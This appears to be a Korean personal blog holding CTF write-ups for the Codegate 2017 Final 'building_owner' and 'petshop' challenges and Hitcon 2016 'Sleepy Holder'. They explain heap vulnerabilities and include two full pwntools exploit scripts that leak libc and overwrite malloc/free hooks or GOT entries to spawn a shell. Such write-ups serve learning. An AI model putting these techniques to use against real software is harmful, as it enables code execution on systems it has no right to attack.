HanJeouk의 개인공부 블로그

일단 C++로 된 문제다. 보호기법을 체크해보자.


구조체들을 분석해보면

대충 이렇게 생겼다.

manage 함수를 보면 Edit와 Change 함수가 있는데 Edit 함수는 일반적인 Edit 함수처럼 원래 있던 값들을 수정할 수 있게 해준다. Change 함수는 company를 restaurant로 바꾸거나 apartment 로 바꿀수 있게 해준다.

그래서 apartment를 restaurant를 바꿔준다면 restaurant의 구조체 변수 people, money, menu, price, customer_pay를 추가적으로 확인할 수 있다.

이걸로 다른 청크의 데이터를 릭하거나 바꿀 수 있다.

string 객체를 이용해서 릭을 했다. string은 할당한 값보다 크게 받으면 free를 시키고 다시 할당시킨다.

그래서 free가 되면 unsorted bin이 나온다. 그리고 건물을 할당하게 되면 건물 구조체 안에 unsorted_bin이 들어가서 릭이 가능하다. 

공격은 apartment 하나를 restaurant로 change한다. 그리고 edit를 하면 구조체 apartment로 할당한 구조체가 restaurant로 바뀌면서 people, money, menu, price, customer_pay를 추가적으로 조작할 수 있다.

조작하기 전에 people, money, menu, price, customer_pay가 위치한 주소는 다음 청크의 영역일 것이다.

restaurant로 바꾸고 price를 보니 다음 청크의 name 영역이다. 이걸 __free_hook으로 바꾸고 edit을 시키면

__free_hook에 값을 덮을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
= process("./owner")
def apartment(name,floor,many,describe):
        p.sendlineafter("> ","1")
        p.sendlineafter("? ",name)
        p.sendlineafter("? ",str(floor))
        p.sendlineafter("? ",str(many))
        p.sendlineafter("it : ",describe)
 
#### Leak ####
apartment("1","1","1","1")
apartment("A"*8,"1","1","B"*200)
apartment("2","2","2","2")
p.sendlineafter("> ","4")
p.sendlineafter("> ","2")
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","2")
 
p.sendlineafter("> ","4")
p.sendlineafter("> ","3")
 
 
p.sendlineafter("> ","4")
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
 
p.recvuntil("price of menu : ")
leak = int(p.recv(15),10)
base = leak - 0x3c4b98+0x20
malloc_hook = base +0x3c4b10
one = base+0xf1147
#### Exploit ####
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","2")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter("> ","2")
p.sendlineafter("> ","9")
 
p.sendlineafter("> ","1")
p.sendlineafter("> ","3")
p.sendlineafter("> ","2")
p.sendlineafter("> ","6")
p.sendlineafter(" : ",str(malloc_hook))
p.sendlineafter("> ","9")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter("> ","1")
p.sendlineafter(" : ",p64(one))
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","9")
p.sendlineafter("> ","1")
 
print "Leak: " +  hex(leak)
print "Base: " +  hex(base)
print "malloc_hook: " + hex(malloc_hook)
print "one_shot: " + hex(one)
p.sendline("id")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2016 Hitcon secret holder [Again]  (0) 2018.03.21

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2017 Codegate Final petshop

CTF2018. 3. 27. 01:49

C++ 포너블을 공부하려고 푼 문제다.

Buy 함수를 보면

이렇게 되어 있다. #밑부분도 위에 윗부분과 같기 때문에 생략

Dog_go_input_Data_to_heap_ptr로 가면

또 input_Data_to_heap_ptr이라는 함수가 있다. 또 들어가서 보면

이전에 할당된 청크에 데이터를 넣어준다.

그리고 이렇게 청크를 Dog라는 청크를 할당하고 gdb로 heap 상황을 봤을 때

요로코롬 돼 있다. #gdb로 동적 분석하는 게 훨씬 분석이 쉽고 빠르더라

위에 0x21만큼 할당됐는데 이건 캡쳐는 안했지만 프로그램 시작할 때 할당을 하더라.

그리고 데이터 영역 16바이트에 할당한 청크의 주소를 가리킨다. 16바이트니까 2개까지 animal 추가가 가능하다.

0x616c30 에는 animal 추가한 개수다. 추가할 때마다 1씩 올라간다. 첫 번째 사진을 보면 if 문으로 -1인지 아닌지 확인하는게 보일텐데 간단히 그냥 2개 이상 할당 못하게 하려고 하는 것이다. 0x51의 사이즈를 가진 청크는 추가한 animal 청크다. 0x4027a0은 그냥 할당할 때 추가해주더라

그 뒤에는 아까 넣은 문자열들이다.("Dog", "Bark", "Dog Food") 문자열 다음에는 포인터가 보이는데 저건 나중에 공격 때 쓰이는 name의 포인터다. 저걸 가지고 릭이든 공격이든 전부 다 할 수 있다.

다음으로 Sell 함수를 보면

C++이라 더럽게 생겼지만 그냥 할당했던 청크들 for문 돌려서 free 시키는 것이다.

이제 set_pet을 보자.

input_new_name, input_sound, input_new_feed 가 보인다. 이 함수에서 취약점이 발생한다.

이렇게 제한없이 값을 입력받을 수 있기 때문이다.(name, sound, feed 다 똑같다.)

아까 gdb 모습을 봤듯이 이렇게 값을 원하는 만큼 넣는게 가능해진다면 포인터 조작이 가능하다는 걸 생각할 수 있다.

다음은 list_pet 함수다.

for문으로 청크들의 name, sound, feed, person의 값들을 다 출력해버린다. 그래서 person 포인터를 set함수에서 조작하고 list_pet 함수에서 조작한 person 포인터를 출력시킨다면 우리가 원하는 값을 출력시킬 수 있다.

마지막으로 set_name 함수다.

청크에 있는 person 포인터에 값을 쓴다. 즉, person 포인터를 조작한다면 조작한 주소에 값을 넣을 수 있다는 말이다.

이제 이 함수들을 가지고 릭과 공격을 하면된다.

우선 릭을 하기위해 set함수로 person_name 포인터를 함수의 got 덮고 list 함수로 원하는 함수의 주소를 얻어 그걸로 system등 공격에 필요한 함수의 주소들을 얻었다.

이제 공격을 하면 된다. 공격도 set 함수를 이용했다. person_name의 포인터를 free_hook으로 덮고 setname으로

free_hook에 system 주소를 넣었다. 이제 free를 호출하면 free대신 system이 실행 될 것이다.

sell 함수가 free를 할 때 person_name 포인터도 free 시키길래 또 set으로 person_name 포인터를 /bin/sh로 덮어서 system("/bin/sh")가 실행되게 했다.

문제를 최대한 빨리 푼다는 생각으로 풀어서 약간 풀이가 미흡할 수도 있다 ㅎ...






'CTF' 카테고리의 다른 글

2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

Secret holder에 이어서 Sleept holder를 다시 풀어보았다. malloc_consolidate를 이용해서 푸는 문제였다.

#fast bin 사이즈를 가진 청크를 free 시키고 large 이상의 사이즈를 할당하면 fast bin에 있던 청크가 unsorted bin으로 들어가게 된다. 그리고 다시 free 시켰던 fastbin을 free시키면 double free corruption이 뜨지않고 free가 된다. 왜냐하면 fast bin에 있던 청크가 unsorted bin으로 갔기 때문이다. 이렇게 두번 free시키면 fast bin에도 unsorted bin에도 청크가 위치하게 된다.

####Unlink####

1. small(size=0x28) 할당 

2. big(size=0xFA0) 할당 

3. small free #small이 fast bin에 등록

4. Huge(size=0x61A80) 할당 #fast bin에 있던 small이 unsorted_bin으로 등록, big의 사이즈에 있던 prev_inuse가 사라진다. 이전 청크가 free됐다고 인식하기 때문이다.

5. 다시 small free #small이 다시 fast bin에 등록됨으로써 small은 unsorted bin과 fast bin 전부 등록된다.

6. small 재할당 with fake chunk

fake chunk structure-> [prev_size=0, size=0x21, fd=0x6020D0(전역변수)-0x18, bk=0x6020D0("")-0x10, next_chunk_prevsize= 0x20]

7. big free #전역변수로 unlink 됨.

8. big 할당 #renew를 사용하기 위해서

####LEAK####

9. renew small을 해서 big을 가리키고 있는 포인터를 free_got로 덮음.

10. renew big으로 free_got에 puts_plt를 넣는다. #이제 free를 실행시키면 puts가 실행된다.

11. renew small로 big을 가리키고 있는 포인터를 puts_got로 바꾼다.

12. wipe big을 한다. #free를 puts로 바꿨고 big을 가리키는 포인터를 puts_got로 조작했으니 puts 함수의 주소가 릭이 될 것이다.

####Exploit####

13. renew small로 puts_got로 바꾼 big 포인터를 다시 free_got로 바꾼다. 그리고 small을 가리키는 포인터에

binsh 주소를 넣는다.

14. renew big을 해서 free_got에 system 함수주소를 넣는다. #puts_plt로 덮였었던 free_got가 이번에는 system으로 덮이게 되는 것이다.

15. wipe small을 한다. small을 가리키는 포인터를 아까 binsh 주소로 바꿨으니 binsh주소를 free시킬 것이다. 근데 아까 free를 system으로 덮었기 때문에 free대신 system이 실행되어서 system("/bin/sh")가 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
p=process("./SleepyHolder")
elf =ELF("./SleepyHolder")
def keep(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("forever\n",str(size))
        p.sendafter("secret: \n",content)
 
def keep2(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("secret\n",str(size))
        p.sendafter("secret: \n",content)
 
def wipe(idx):
        p.sendafter("3. Renew secret\n","2")
        p.sendafter("2. Big secret\n",str(idx))
 
def renew(idx,content):
        p.sendafter("3. Renew secret\n","3")
        p.sendafter("2. Big secret\n",str(idx))
        p.sendafter("secret: \n",content)
 
 
sleep(0.5)
#### unlink ####
keep(1,"A")
keep(2,"B")
wipe(1)
keep(3,"c")
wipe(1)
keep2(1,p64(0)+p64(0x21)+p64(0x6020d0-0x18)+p64(0x6020d0-0x10)+p64(0x20))
wipe(2)
#### Leak ####
keep2(2,"D")
renew(1,"A"*8+p64(elf.got["free"]))
renew(2,p64(elf.plt["puts"]))
renew(1,"A"*8+p64(elf.got["puts"]))
wipe(2)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
#### Exploit ####
renew(1,"a"*8+p64(elf.got["free"])+p64(0)+p64(binsh)+p32(1)+p32(1)+p32(1))
renew(2,p64(system))
wipe(1)
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2017 Codegate Final building_owner  (0) 2018.03.29
2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12